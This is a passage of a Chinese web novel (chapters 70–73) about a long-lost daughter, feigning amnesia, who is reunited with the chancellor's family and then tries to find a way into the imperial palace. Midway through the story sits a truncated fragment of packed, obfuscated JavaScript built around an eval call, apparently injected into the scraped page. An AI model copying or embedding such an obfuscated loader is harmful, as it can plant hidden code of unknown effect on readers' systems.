“原来如此。”伙计神色顿缓,笑着道,“客官放心,姜丞相家的主子都是顶顶好的。” 孙从庸:“愿闻其详。” 伙计:“姜丞相就不必说了,新朝的许多仁政,都是姜丞相亲自督办才顺顺当当推行下去。姜丞相的夫人,王院长,那是最慈善的人,二十几年来,坚持不断收养孤儿,她的平乐院,如今收养有上千的孤儿。姜丞相的儿子,姜侍郎……” 说到这里,后厨有人唤伙计端菜,他告罪一声,连忙去了。 周围几桌的食客你一言我一语地接着说起来。 “姜侍郎啊,那真真是端雅清隽,品行高洁。” “说起来,姜侍郎是夏朝历年状元最俊的。” 孙从庸连连点头:“确实俊。” 众人说得兴起,停不下来。 “当年,以姜公子在铁骨军的功劳,完全可以直接授官,可他偏要参加国考,还一考就考了个状元!” “这才是真金不怕火炼!那时好些名门望族,未有寸功,却仗着家世为子弟求官。科举制一下占去那样多官职,他们哪能乐意?各种非语。姜公子一下场,他们全都无话可说了。” “那时很多人不看好姜公子,阴阳怪气地讥讽,说‘本来能得官的,要是没考上,那就出大笑话了’,又说‘就是考上了,如果考在末尾,只能去偏远穷县,还不如直接得官呢’。” “京城里有人专为此开设赌局,裴尚书的儿子押了一万两,赌姜公子考不进前十名,后来……裴尚书追着儿子打到大街上,我还看着了,哈哈哈哈哈哈!” “哈哈哈!裴尚书那时候憋着火呢,女儿刚在东郊丢了一万两银子,儿子又在赌场丢一万两。女儿是国公,又是用的自己银子,不能打……嘿!也打不过,可不就只能逮着儿子打?” 孙从庸寻着机会插话:“姜丞相家里还有什么人?” “还有一个女儿。” “姜姑娘为人侠义,去年,李郎中的儿子在街上纵马,撞了一个农妇,也没问她的伤势就准备跑,被姜姑娘从马上拽下来。李郎中儿子带了两个随从,都没打过姜姑娘,被硬逼着把人送到了医馆。” “其中一个随从跑回府,叫了一大帮人来教训姜姑娘,里面却有人认得姜姑娘,哈哈哈!一大帮人又灰溜溜的回去了。” “李郎中把儿子痛打一顿,带着他去看望那农妇。” “还有钱少夫人……” 孙从庸出饭馆时,心下稍安。 这姜家,听起来是个好的,不会亏待衡儿。 —— 三日后。 京城高大的灰色城墙在望,一队衣衫褴褛的灾民携老扶幼,怀着希望,步履蹒跚而来。 70. 第 70 章 兴元四年六月,泉州北部四县大旱,朝廷派去的钦差与泉州太守沆瀣一气,贪下了部分赈灾的钱粮。 他们算计着剩下的粮食可够灾民活命,却不知层层盘剥之下,落到百姓手中的,只剩极少量掺了沙土的发霉的陈粮。 草根、树皮啃尽,再无可果腹的东西。 绝望洪水般蔓延。 “不能留在泉州!柳清扬那个狗官,根本不会管我们的死活。” “对!趁他还没反应过来封路,赶紧走,往北。” “皇上带着铁骨军杀贪官,分田地,心向着咱们,定是柳清扬这狗官欺上瞒下,吞了皇上给咱们的粮。” “去京城!” “告御状!” 一队队灾民踏上北上的道路。 至此,泉州贪污事件暴露,各地的弹劾奏折雪片般纷纷飞往京城。 兴元帝震怒。 户部尚书迟非晚亲自携带物资,紧急赶去泉州安抚灾民,另有刑部官员随行,彻查贪污官员。 局势很快稳定,但最早出走的一批灾民已经到达京城。 朝廷在城外搭起帐篷安置他们。 城墙根下,空气中充斥着皂角、消毒药水和酸馊体味混杂的气息。 官兵们维持着秩序,按男女分开安置。 入住之前,先要清洗,每个人都领到了一套京中善心人捐赠的半旧衣裳,脱下的衣裳被收走,还能用的,统一蒸煮消毒后再发还。 姚娘子紧紧拉着六岁女儿安儿的小手,走进澡堂。 温热的水流冲刷着积满泥垢和汗渍的皮肤,肚子里刚喝下的菜粥暖融融的,两个多月来被死亡时刻威胁的恐惧,在这一刻,被悄然驱散。 姚娘子帮女儿换上领到的衣裳。 女孩新奇地抓住腰际处垂下的橙色丝绦,病弱的脸上透出一点兴奋的红晕。 她从没穿过这么好看的衣裳,没有补丁,还有鲜艳的颜色。 姚娘子给女儿拂平衣角,抬头时正见到一人走过来。 “魏姑娘。”姚娘子唤了一声,担心地看她头上围着的一圈布,“你头上的伤,没沾水吧?” “没有,姚姐放心。” 三人回到安置女眷的大帐篷,两排长长的木板通铺上已经挤满了人,她们找了个空隙,几乎一沾到铺着稻草的木板就沉沉睡去。 一觉醒来,三人去登记信息。 姚娘子和丈夫薛勇会合,带着安儿排在前面,魏姑娘在这一家子后面。 负责登记的小吏是个面容清瘦的年轻人,轮到魏姑娘时,他低头蘸墨,头也不抬地问:“姓名?” “魏枕书。” “魏朝的魏,还是护卫的卫?哪个枕?哪个书?” “魏朝的魏,枕头的枕,书本的书。” 小吏在纸上表格第一栏写下“魏枕书”三字。 “男或女?” “女。” “年龄?” “二十四。” “成亲没有?” “不记得了。” 小吏笔尖一顿,愕然抬头,一脸的“你莫不是在消遣我吧?” 姚娘子赶紧上前解释:“官爷,她摔伤了头,从前的事都记不得了。我们来京的路上,在山崖下发现她,满头是血,救醒就这样了。” 小吏第一次听说这样的病症,将信将疑,打量女子脑袋上缠着的布条,质疑道:“那你怎么知道名字和年纪?” 魏枕书从怀里掏出一张文牒,递给他:“我身上有这个。” 小吏接过来,入手就觉得纸质的韧度,展开一看,竟是前朝的文牒。 上面画着一个女童的小像,旁边写着:魏枕书,年八岁,泉州人氏,随父往北狄行商。 他仔细对比文牒上的小像和眼前女子略微憔悴的脸庞,发现两者眉眼的轮廓依稀相似。 至于年龄……那时八岁,按照文牒上落款的年份,已经过去十六年,可不就二十四岁了? 小吏把文牒递还,语气缓和了些,但职责所在,还得继续问:“详细籍贯?” “不记得了。” “家中还有何人?” “不记得了。” “家中可有田地?” “不记得了。” 小吏看着表格里大片刺眼的空白,无奈地揉了揉眉心:“是打算归乡,还是在京城谋生?” 魏枕书低垂着眼帘,声音带着茫然:“不知家在哪里,留在京城吧。” 小吏心中怜悯,声音更柔和了些:“有何擅长?” 擅刀、擅剑、擅战! 但她现在是魏枕书,当然不能这样答。 姜六航飞快地瞟了一眼登记册,擅长的那一栏,姚馨的写着“刺绣”,姚馨的丈夫——薛勇,写着“力气大”。 她该擅长什么呢? 小吏久等不到回答,疑惑地抬头看过来。 姜六航瞬间就想通了。 她现在可是失忆人士! 有什么是失忆不能搪塞过去的? 姜六航迎上小吏的目光,脸上适时地浮现出痛苦和茫然交织的神色,声音里带着一丝细微的颤抖:“我不记得了。” 小吏看着她空洞的眼神和额头的伤布,叹了口气:“唉,这叫我怎么录啊……” 他摇摇头,语气放得更软,“你这情况特殊。这样吧,我报上去,先给你安排个扫街的活儿,工钱不多,但温饱不成问题。不过这一般是给老人的营生,你还年轻,不是长久之计。这两天你试着想想,看能不能记起点什么手艺。” 姜六航连声答应,向他道谢。 回到帐篷,姚馨拉着她的手,真心实意地替她高兴:“魏姑娘,这下好了!先有个落脚处,慢慢来。以后都在京城,咱们互相照应着。” 姜六航心头一暖,明白姚娘子的好意。 说是互相照应,其实姚馨没指望自己照应她,想的是照应自己。 这是一个心善的女子。 那时自身难保,却毫不犹豫地救下昏迷在山崖下、来历不明的她,一路扶着她前行。这份雪中送炭的心意,她记下了。 姜六航用力点头:“嗯!” 灾民需在此观察三日,确认无疫病后方可离开。 下午,有医者过来给灾民诊脉。 姚娘子夫妇和安儿都无大碍,只是长期饥饿亏虚,饱餐几顿即可。 给姜六航诊脉的是位三十岁左右的女医士,气质沉静。 女医士诊过脉后,道:“我师父当年在铁骨军中行医,曾见过类似的伤症。这是脑络受损,没有特别有效的法子,恢复全看天意。或许几天,或许几年,能想起以前的事,也或许一辈子都想不起来了。师父现在男营那边,我请她过来,为你瞧瞧,可好?” 铁骨军?军医? 说不定认得她这张脸。 姜六航欣喜道:“多谢。”又问,“不知令师是哪位?” 医士神情骄傲:“是太医院的陈院使。” 姜六航脑中轰然炸开,差点当场变了脸色。 陈院使! 曾经的铁骨军军医,如今的太医院院使。 她那一双眼睛,能洞穿皮肉,直见筋骨。 当初寻找替身,碍于陈大夫,姜六航丝毫不敢大意,很用了些心思,找的人差不多年纪,而且也是使重刀。 从庸叔叔做的伤口,瞒过一般医者没问题,但在这位外科宗师面前可不保险。 姜六航后背沁出一层冷汗。 陈大夫几时收的徒弟?险些打了她一个措手不及,幸好多问了一句。 “怎么了?”医士见她没答话,奇怪地问。 姜六航深吸一口气,压下狂跳的心,抬手虚虚按着额头的布条:“劳医士费心,只是我想起来,这伤口刚结了痂,如果揭开,只怕又要流血不止,还是不麻烦陈院使了。” 医士沉吟片刻,没有勉强。 师父虽医术高明,但失忆之症确实没有很好的解决办法,重在调养。她叮嘱了一些注意事项,便与同伴离去了。 姜六航躲在帐篷里,战战兢兢,生恐陈院使过来。 怕什么来什么。 没过多久,帐篷入口的帘子突地被掀开,那位刚给她诊过 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好在半个时辰后,医者们全部离开营地,姜六航这才松懈下来。 时间还充足,失了这次机会,总能再寻到机会,让这张脸合情合理地被认得的人看到。但自听说大哥在爹娘坟前为她招魂七天七夜,姜六航的心有些乱了,焦躁起来。 到底能不能治好,是留是走,她想快点有个结果。 —— 第二天,官府组织京中商号和工坊来此招工。 姚馨拿出针线包,当众绣了一朵花瓣,很顺利地被一家绣坊招走,工钱丰厚。薛勇定下了到码头上搬运货物,按件计酬。他力气大,一个人能挣到两个人的钱。 夫妇俩很高兴。 姚馨眼角眉梢都是欢喜:“安儿打小在药罐里泡大,为了抓药,家里铜板一个掰成两半花,安儿长这么大都没穿过两次新衣裳。以后好了,我和她爹这么多工钱。我们这回,可真是因祸得福!” 第三天,先前负责登记的小吏找到姜六航,给她一套靛蓝粗布短打和一个口罩。 “活儿不重,但灰尘多,口罩要戴好。”小吏交代,“会有人检查,发现没戴会扣工钱。” 姜六航拿着口罩,一时哭笑不得。 以往千方百计把脸藏起来,如今好不容易想露脸,怎么还不让她露了呢? 第四天清晨,姜六航跟着队伍去领饭。 吃过这一餐,灾民就要离开这里,回泉州的回泉州,进京城的进京城。 前头领了饭的往回走,一边议论:“今天施饭的少爷好年轻,只有十五六岁吧?” “心善呐,给我舀得可实诚了。” “真贵气,怕不是公侯府上的?” 姜六航排在队伍中,没在意那些议论,只低着头,一心盘算着进城后如何在合适的人面前露出脸。 运气似乎有些不好。 见过这张脸的人不少,毕竟当年新科状元游过街。这几天也见到一些京城的人,怎就没一个认出这脸呢? 队伍前移,轮到姜六航,她把碗递出去。 有人舀了饭菜,放到她碗里。 她下意识抬头,道:“多——” “谢”字卡在了喉咙口。 对面,唐小豆对着她瞪大眼,仿佛见到了最不可思议的景象。 他手中的木勺脱手,“哐当”一声响,重重砸在桶沿,又弹跳着掉进桶里,溅起滚烫米汤。 官兵以及排队的灾民被这动静惊动,目光齐刷刷扫过来。 姚娘子就在姜六航身后一步,眼见不对,上前一步,把她挡在身后,神色紧张:“这位少爷,怎、怎么了?” 唐小豆充耳不闻,眼睛仍然死死钉在姜六航脸上,过了好一会,他才像终于回魂,猛地抬起手臂,拼命朝着另一条队伍的前方挥舞,发出一声变调的呼喊:“姜、姜、姜、姜——姜持!你快来!” 71. 第 71 章 姜持循声转头,在那么多人中,她一眼看到了那个女子,霎时间,全身的血液仿佛化作了无数股热流,在体内冲撞。 “姐姐!”两个字在胸腔里无声炸开,带着滚烫的渴望。 身体先于意识做出了反应,姜持像离弦的箭,不管不顾地朝着那个身影飞奔而去。 场上的一切都仿佛被按下了暂停键——排队的、吃饭的、说话的、维持秩序的……所有人都惊愕地停下动作,目光追随着那个突然失控奔跑的小姑娘,最终又齐齐落向那个引起骚动的源头。 一个是富贵家里的姑娘,一个是逃难来的灾民,能有什么渊源? 姜持看不到那些惊讶、困惑,她眼里只有那个越来越近的身影。 “姐姐!姐姐!”心潮澎湃,几乎要冲破喉咙。 终于,她冲到了女子面前,用尽全身力气扑上去,紧紧抱住。积蓄了多年的期盼,化作一声呼喊:“姐姐!” —— 宽敞的马车里,小几上摆着糕点,色泽诱人,香味扑鼻。姜六航坐在柔软舒适的软垫上,指尖感受着茶杯传递的暖意,心思却有些飘忽。 “姐姐,云酥糕是京城最好的点心铺子做的,你尝尝。” “姐姐,你冷不冷?要不要披一件外衣?” “姐姐,京城可多好玩的地方了。等你休息好了,我带你去逛。” 铺天盖地的热情,让姜六航有些无措。 她不敢多说,只简短地应着“嗯”、“好”、“谢谢”,扮演着一个对陌生环境、陌生亲人带着些微疏离和拘谨的失忆者。 姜持对她的冷淡毫不在意,只要姜六航给一点回应,哪怕只是一个眼神,她就能继续兴致勃勃地说下去。 俨然初见时的那个小话痨又回来了。 那次见面,姜持冷静沉着,抓住时机,反手制敌。后来在回去的路上,嘴里一刻不停,一说一大串。 两种截然不同的性子出现在同一个人身上,当时给姜六航留下了非常深刻的印象。 在和州重逢,她观察过姜持和伙伴们的相处,很轻松,有什么会说,但远不到话痨的程度。 姜六航咽下一块云酥糕,心想:“莫非我这妹妹的话痨,要看对象?” 马车畅通无阻地驶入丞相府内院。 姐妹俩刚下车,便见一群人簇拥着王院长疾步而来。妇人步履匆匆,甚至带着小跑,途中,目光一直如磁石般牢牢吸附在姜六航脸上,再也移不开分毫。 是她的女儿! 只要一眼,她就可以确定,是她的女儿。 她那出生即失散,不知吃了多少苦,受了多少罪,头破血流,什么都不记得了,孤零零一个人逃难来到京城的女儿! 王院长心似刀剜,踉跄着扑上前,伸出的手臂带着微微颤抖。 一把抱住女儿,哽咽出声。 “恒儿。” “好了,回家了。” 回家了。 她的女儿,已经吃完了一生的苦,此后再无苦痛,再无波折,家里所有人都会护着她,平安富贵到老。 姜六航猝不及防被拥入一个温暖而柔软的怀抱。这怀抱瞬间和记忆中娘的怀抱重叠在一起,给她一种安全的、被全心爱着的感觉,让她不由自主地放松下来。 姜六航鼻尖一酸,回抱住母亲。 “恒儿。”王院长深吸一口气,努力平复汹涌的情绪,松开怀抱,眼中泪光未褪,却已努力绽开一个和蔼的笑容。她抬手,轻轻抚过姜六航额上缠绕的布条,“头还疼吗?要不要让大夫来瞧瞧?太医院的陈院使最擅外伤,娘这就去请她?” 姜六航连忙道:“已经不疼了。之前陈院使的弟子给我看过,说好好养着就行。至于忘记的,医士说,或许过些日子能想起来,也或许,永远都想不起来了。” 王院长心疼地握着女儿的手:“没事,想不起来就想不起来。” 安抚了姜六航一会,她指着一个二十几岁的妇人:“这是你大嫂。” 姜六航行礼:“大嫂。” 大嫂姓钱,面色诚恳地回礼:“大妹妹。” 姜持凑过来。 姜六航:“二妹妹。” 姜持欢喜地笑。 姜六航转头,正对上王院长凝视自己的眼。那目光里,满是浓得化不开的期盼和小心翼翼的等待。姜六航嘴唇动了动,一声“娘”在舌尖打了个转,又咽了回去。 还是不习惯。 王院长眼中闪过一丝失落,但很快又被巨大的满足取代。不急,慢慢来,女儿就在面前,这就够了。 “累了吧?”王院长拉过姜六航的手,心疼地道,“你的院子就在旁边,娘带你去。你先好好歇息,旁的都不急。” 众人正欲移步,一阵急促马蹄声传来。 一匹骏马急驰至众人十几步外,陡然停下,长嘶一声,前蹄高高扬起,在空中凝滞一瞬,又重重落下。 马背上的人一身官袍未换,正是闻讯直接从官署疾驰赶回的当朝丞相——姜子循。 他利落地翻身下马,目光直扫过来,瞬间便锁定了被众人簇拥在中间的那个身影。 姜持碰了碰姜六航的胳膊:“姐姐,这是爹。” 姜六航看着迎面走过来的人,脱口而出:“姜大人。” 众人:“……” 场上一片诡异的安静。 叫的什么? 姜大人? 就算一时叫不出“爹”,又怎么叫“姜大人”呢? 而且语气那样自然,那样随意,那样熟稔,像叫过无数遍似的。 姜子循不知何故,被这声“姜大人”叫得心头突地一跳,一丝怪异的熟悉感涌上来。然而,找回女儿的狂喜和激动转瞬将那一点疑惑冲刷干净,他大步流星地走到姜六航面前,眼眶微微泛红,唤道:“恒儿。” 姜六航习惯使然,一声叫出口后,正后悔不已,此时连忙补救,做出拘谨的姿势,往王院长身上靠了靠。 “不怕不怕,你爹是太激动了。”以为女儿被丈夫的官威吓着了,王院长将女儿护在臂弯,柔声道,“来,我们先去你的院子。” 又道:“你房里的家具用品还没全部摆好,等你休息好后,我们开库房,你挑喜欢的摆进去。” 姜子循顺着妻子的话,脸上堆起笑容:“昨天皇上赏了我一件海外玩物,拧下开关,两个小人儿就开始跳舞,很有趣。等会让人取来,恒儿你拿着玩。”那本是打算给孙子的,如今自然是女儿最大。 姜六航道谢。 王院长和姜子循对视一眼,心里都不是滋味。 他们亏欠了女儿整整二十四年,恨不能倾其所有去弥补,这点东西算得了什么?哪里需要如此客气地道谢? 罢了,孩子刚回来,生疏难免。 不急。 以后时间还那么长,总有一天,女儿会像小女儿一样,在他们面前撒娇耍赖,理直气壮地讨要心爱之物,亲亲热热地叫他们“爹娘”。 众人走到院子门口时,姜守和儿子姜元也赶来了,和姜六航相见。 两张极其相似的面孔同时出现在眼前,带来的视觉冲击是震撼的。众人看看姜守,又看看姜六航,只觉神奇无比。 姜元八岁,一副小大人的模样,沉稳有礼,眼里却掩不住孩子的好奇,目光在父亲和刚认的大姑姑脸上来回转悠。 考虑到姜六航初来乍到,需要时间适应独处,众人只在院子里略略停留,叮嘱了伺候的丫鬟婆子几句,便体贴地退了出来,将安静的空间留给她。 回到正院,王院长把从女儿那里拿来的文牒递给丈夫:“恒儿她什么都不记得了,身上只有这个。” 姜子循接过来,仔细看了看,道:“我立刻派人去泉州和北狄详查。” 他要知道女儿这二十四年是怎么过的,是谁抚养她长大? 更要彻查,女儿到底是失足,还是被人推落山崖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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殿内陷入一片沉寂,空气仿佛凝滞了,带着一种沉甸甸的哀伤,压抑得让人有些喘不过气。 直到内侍通报,才打破这份凝滞。 几位大臣应召而来,唯独缺了姜丞相。 冯简禀报道:“姜丞相寻回了他失散多年的长女,今日一早便匆匆归府,至今未返回官署。已派了人去丞相府传召。” 姜丞相找到女儿了? 殿中诸人皆是一惊,旋即露出理解的神色。 难怪从不迟到早退更不旷工的姜丞相今日破例了。 谁人不知,那失散的女儿是姜丞相毕生最大的心病,就连素来对不相干之事漠不关心的兴元帝秦信,此刻也不由得抬起了眼,问道:“哦?在何处寻得?如何寻得?” 冯简便将姜丞相长女摔落山崖、被救后失忆、随灾民一路流徙至京城等事,简明扼要地叙述了一遍。 几位大臣听得啧啧称奇,低声议论: “还有失忆这样的奇症?” “幸好来了京城,否则岂非又要生生错过?冥冥之中自有天意啊!” 冯简:“正巧姜持、唐振东用长辈年节给的赏封买了米去接济灾民,一眼就看到了姜恒,实在是她那容貌……” 秦信原本只是随意听着,听到那个名字时,搭在佛珠上的指尖一顿,声音低沉地打断:“姜衡?” 冯简一愣,随即反应过来,小心地觑着皇帝的脸色,低声解释道:“回皇上,姜丞相寻回的女儿,名姜恒,永恒的恒。” 秦信捏着佛珠的手指,缓缓收紧。 是永恒的恒,不是赤霄剑客的那个衡。 更和杜衡的衡、衡王的衡没半分关系。 只是念及那个字,一股尖锐的疼痛在身体炸开,他握紧刀柄,仿佛抓住一个支撑。等一波疼痛稍缓,他开口,吩咐冯简:“挑些上好的锦缎、首饰、玩器,送去丞相府,恭贺姜丞相骨肉团圆。” —— 半个时辰后,姜六航收到了皇宫送来的各色绫罗绸缎、珠宝首饰。 72. 第 72 章 认亲之后,姜六航暂时放下其它,在丞相府做起了姜家失而复得的女儿姜恒。 每天睡到自然醒,和姜持携手畅游京城。繁华街巷、酒楼茶肆,处处留下她们的身影。 王院长管着平乐院,大嫂钱万经营着十几家商铺,都不得清闲,陪了几次便被姜六航笑着劝住,之后只偶尔相陪。 但不管多忙,晚膳时一家人都聚在一起,饭后围坐在一起闲谈,笑语盈堂,暖意融融。 不知不觉,一个月过去。 这天晚膳后,王院长问钱万:“迎才宴在即,进宫的新衣准备得如何了?” 姜六航顿时精神一振,她一直等着的就是这个机会。 大夏朝每年十月举办迎才宴,欢迎新进官场的新科进士们,庆贺他们顺利融入朝廷。 民间传说,迎才宴热闹非凡,所有官员都可携家眷参加。 姜六航的注意力在“携家眷”上。 民间传说肯定有误,准许携家眷的官员肯定有品级限制。但不管怎样,姜大人身为百官之首,必是有资格的。 沈以贵已经给她画了皇宫布局,到时候她跟着姜大人进宫,寻个机会去到冷宫,神不知鬼不觉,就可吃下两片天心草叶子。 更完美的是,那天那样多人,她躲在人堆里,大哥根本注意不到她。 听婆母问起,钱万含笑回道:“都制成了,只等姚馨绣好花纹。她的手艺娘放心,绣好了先送来给您过目。” “本想帮衬她,倒是让你觅得了一个好人才。”王院长笑道,“行!绣好了拿来,我们试试。” 钱万目光扫过姜六航和姜持,带着一丝遗憾:“可惜了,妹妹们去不了,不然也能看看热闹。” 去不了? 姜六航心头一惊,面上却不动声色,只作好奇的样子问道:“我和妹妹为什么不能去?” 王院长温声接过话头:“按规矩,未婚女子入宫,需是十五岁以下,或身有官职。” 恒儿不记得前事,但太医把过脉,是未婚之身。 姜六航:“!!!” “我怎么没听说过这样的规矩?”她声音发涩,紧紧捏着手指。 姜子循轻咳一声:“兴元元年宫宴,未嫁贵女争相献艺,引得……圣心不悦。第二次宫宴,皇上便御笔勾去了部分名单。几次下来,官员们便心照不宣了。所以这规矩虽没明白说出来,却都自觉遵守。” 姜六航:“……” 难怪她没听人说。 失望如潮水般涌上。 她早已计划好如何隐匿行踪,如何避开耳目,可是所有精心的盘算一下被撞得粉碎,连宫门都迈不进去。 失望过后,又涌上苦涩与钝痛。 大哥是因“已死”的所爱,才筑起这高墙,彻底隔绝所有可能的靠近吗?这念头一起,连计划失败的沮丧都被冲淡了几分,充斥心间更多的,是对那人的心疼。 “恒儿想进宫?” 姜子循看着女儿愣怔的脸。 “嗯。”姜六航声音低落,“我想看看,皇宫是什么样子。” 姜子循目光从女儿垂着的头掠过,按紧座椅扶手,心里很不是滋味。 这是恒儿第一次对他说“想”,他却不能满足女儿。 —— 翌日,姜子循在勤政殿和皇帝议完政事后,见殿里除了冯统领,再无旁人,便将昨日家中闲谈当作一桩趣事,带着几分无奈的笑意,向皇帝提及:“臣这个女儿,前尘尽忘,如今心性倒像个半大孩子,听人说宫宴热闹,就心心念念想来瞧瞧。” 姜丞相的试探和卖惨很明显,屋里两个人都听懂了。 冯简悄悄瞄着皇上。 秦信放下手中的奏折,指尖捻动腕间佛珠,沉默片刻,歉然道:“姜相,规矩一旦破了口子,便会有无数人见缝插针,生出不该有的心思。朕……”他顿了顿,眉宇间掠过沉重的倦怠,“实在厌烦应对,还望爱卿……体谅。” 触及帝王眼中那片荒芜的痛楚,姜子循胸中发闷。 他看着皇上从小长大,又从皇上十七岁追随至今,除了君臣之义,更有份长者对晚辈的感情。 皇上还陷在失去挚爱之人的悲痛里没走出来。 每一次催促立后选妃,每一次别有用心的接近,都是在撕裂尚未愈合的伤疤。 “是臣思虑不周,一时糊涂。”姜子循压下胸口的酸涩,“皇上恕臣失言。” 姜子循走后,秦信吩咐冯简:“到库房寻些新奇有趣的物件,送去丞相府,给姜大姑娘解闷。” 冯简领命,亲自带人去挑选礼物。 到了皇家内库,说明来意,内库总管问:“冯统领要寻些何物?” 冯简:“要新奇有趣的,送给半大孩子。” “冯统领请往这边来。”内侍总管领着他前行,“这边都是些孩子喜欢玩耍的稀罕物儿。” —— 半个时辰后,丞相府。 姜六航正倚在廊下美人靠上望着院墙出神,忽见那头大嫂带着一队人前来。 大嫂当先领路,后面跟着七八个内侍,俱都捧着朱漆描金托盘,上面覆盖着明黄色的锦缎,遮住了下面的物件,只显出高低起伏的轮廓。 姜六航连忙起身相迎:“大嫂。” 钱万示意身后的内侍:“大妹妹,这几位是宫里的公公们。” “姜大姑娘。”内侍们在她面前站定,为首的一个微微躬身,“皇上怜惜姑娘流落在外二十余载,特意寻了些小玩意儿送来,给姑娘解解闷。” 姜六航微微一怔。 大哥又送东西来了?这次送的什么? 在她好奇的目光下,内侍掀开了第一块锦缎。 托盘上是一座制作精美的八角琉璃走马灯,内侍拨动机关,灯内烛火亮起,走马灯开始转动,画上的人物随着光影流转,仿佛活了过来。 “好精巧!”钱万低呼。 饶是她经手无数货物,见多识广,也少见如此精巧的走马灯。 第二个托盘上是一个鸟笼,笼子里是一只精雕细琢的木鸟,栩栩如生,羽毛纹理都清晰可见。内侍转了转木鸟腹部的一个小圆盘,那木鸟竟昂起头,发出清脆悦耳的“啾啾”鸣叫。 “它会叫!” 今日休假在家的姜元站在母亲身边,双眼晶亮地望着那木鸟。 见着侄儿的神情,姜六航嘴角的笑意微微凝滞了一下。 这鸟……似乎是逗弄孩童之物? 第三块托盘上是一只通体莹白的玉蜻蜓,内侍拿起,拇指在蜻蜓尾部一个凸起上轻轻一按,然后向空中一抛。那玉蜻蜓“嗡”地一声飞起,在空中划出一道优美的弧线,盘旋了足足十几息才翩然落地。 “飞起来了!” 侄儿声音里满是克制的兴奋。 姜六航:“……” 她脸上的笑容完全僵住。 “公公,这些东西,是否……送错了地方?”应该送到侄儿那里去吧? “姑娘说笑了。”内侍道,“皇上亲口吩咐,送些新奇有趣的物件,给姜大姑娘解闷。奴才哪敢弄错。” 姜六航:“……” 大哥怎么想的? 她二十五了啊,早过了玩这个的年龄。 姜六航强扯着笑:“请公公代臣女叩谢皇上隆恩。” —— 接下来的日子,姜六航四处打听,寻找着进宫的法子。 转眼到了十月初九。 这天,姜家五人参加迎才宴,傍晚方归。 姜六航到正院时,大嫂正陪着王院长说话,小侄儿姜元端坐一旁吃糕点,见她进来,立刻起身,一丝不苟地行礼:“大姑姑。” 姜六航走过去,和母亲大嫂见过礼后,揉揉侄儿的头,拉着他一起坐下,一边问:“小元元,今天在宫里玩得高兴吗?” 姜元苦恼地皱了皱眉。 他的头发又被大姑姑揉乱了。 大姑姑总喜欢叫他“小元元”,他又不是两三岁的小孩子了,他是大郎。 但……大姑姑丢了许多年,又什么都不记得了,很可怜。大姑姑喜欢怎样就怎样吧。 “大姑姑,侄儿不是去玩,是陪同祖父祖母、父亲母亲参宴。”姜元严肃纠正。 “哇!小元元真能干,会照顾长辈了。”姜六航满脸赞赏,“今天的宴会上,小元元一定是最可爱、最聪明的孩子。” 姜元耳朵发红:“秦学也很聪明。” “秦学?” 姜六航倒是意外了。 能得自家这个眼高于顶的小学霸赞一声“聪明”,可不容易。 “秦学是谁?”姜六航问。 竟能得她侄儿青眼。 “是今科状元秦修撰的儿子,比大郎小一岁。今天两人第一次见面,就交了好朋友。”钱万笑着道。 “修撰不是六品官吗?”姜六航问,“怎能带家眷参加宴会?” 钱万:“皇上特意开恩,允他将夫人与儿子一同带来。” 姜六航欣慰道:“皇上和这位表兄很亲厚啊。”大哥终于有了亲近的家人。 王院长见女儿脸上没有诅丧之色,似乎对不能进宫已不在意,此时问这些只是好奇和向往,不由得心中怜惜又愧疚,与她细细说起宴会上的情景:“秦修撰做了几首诗,皇上大力称赞,亲赐御酒 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众人皆是一怔,目光齐刷刷聚焦在她身上。 姜持疑惑道:“可是姐姐,你不是什么都忘了么?怎么考?” 姜六航早料到有此一问,声音平稳地道:“学的东西还有印象,就像还记得吃饭、穿衣、说话一样。” 她目光灼灼,带着一丝向往,“朝中那么多女官,我也想做点事。” “恒儿好志气!”姜子循纵容地笑道,“想考就考吧,让你大哥教你,明年去试试。要是中途觉得累,不想考了,那也没事。有爹娘在呢,你只管自己自在,其它不用多想。” 姜大人的意思,是鼓励她一辈子啃老?姜六航很感动,吸了吸鼻子,道:“我今年就要考。” 王院长拍拍女儿的手:“今年的考试都已经过了。” “十月底还有武考,我参加武考!” “噗——咳咳咳!”正端起茶杯啜饮的姜守闻言,一口热茶猛地喷出,狼狈地呛咳起来,钱万连忙给他递帕子。 一时间,厅堂里只回荡着姜守狼狈的咳嗽声。 姜子循脸上僵住,半晌,清了清嗓子,和声道:“恒儿啊,军士升迁,大多是靠实打实的军功。要靠武考得官,这个……” 他斟酌着用词,尽量不打击女儿,“委实很不容易。武考素来严苛,称得上千军万马过独木桥。况且你……你没有武功底子,这条路……恐怕行不通啊。” 姜六航神色未变:“爹,武考不是有两种吗?一种考拳脚骑射武力,另一种考兵法策略。我考第二种。” “兵法策略?”姜持在一旁忍不住插话,“姐姐,那兵法卷子可难了,考的都是刁钻古怪的题目,刘姐姐考了两次都没考上。” 姜子循点头,接过话茬:“持儿说得没错。兵法策略虽不考拳脚,但其题目之艰深诡谲,远胜寻常策论。而且,”他加重语气,“即便兵法策略过了关,最后也必须通过基础的体力测试。规定时限内跑完两里路、挥刀一百次等等。恒儿你……只怕有点吃力。” 姜六航:“!!!” 她打听时,只听人轻描淡写地提了一句,说最后要检查身体无恙,她理所当然地以为是个简单的体检,哪里知道是长跑、挥刀这种要命的体力测试? 那些人怎么不说清楚呢? 不过一转念,姜六航就明白了。 对于要考武官的人来说,这些测试跟玩儿似的,根本不值一提。 姜大人说得太委婉了,她哪里是“有点吃力”?以她如今这副风吹即倒的身体,根本就是绝无可能完成! “考兵法策略,为何还要测试体力?这不是多此一举么?”姜六航蹙眉。 “并非多此一举。”姜子循正色道:“昔年姜帅曾言,‘为将帅者,即使武力不高,也得有好体力。要是行军几天就奈何不了,吹一下风淋一下雨就病倒,还怎么指挥作战?’所以皇上才定下此制度。” 姜六航:“……” 姜帅? 自己? 姜六航瞬间无比悔恨。 这真是搬起石头砸了自己的脚。 她几时说的这话?竟是一点也不记得了! “那就是说,”姜六航面色沮丧,声音都蔫了下去,“我不能通过考官进皇宫?” 众人:“?” 厅堂内陷入一片寂静。 姜子循等人面面相觑,心中都道:“合着你费尽心思考官,绕这么大一个弯子,就只是为了进皇宫?根本不是先前说的什么,想做点事。” 女儿/妹妹/大姑姑对皇宫怎有这般大的执念? 73. 第 73 章 时辰已晚,姜六航告别家人,回自己院落。 一路之上,她眉头紧锁,心中沉甸甸,如压着铅块。 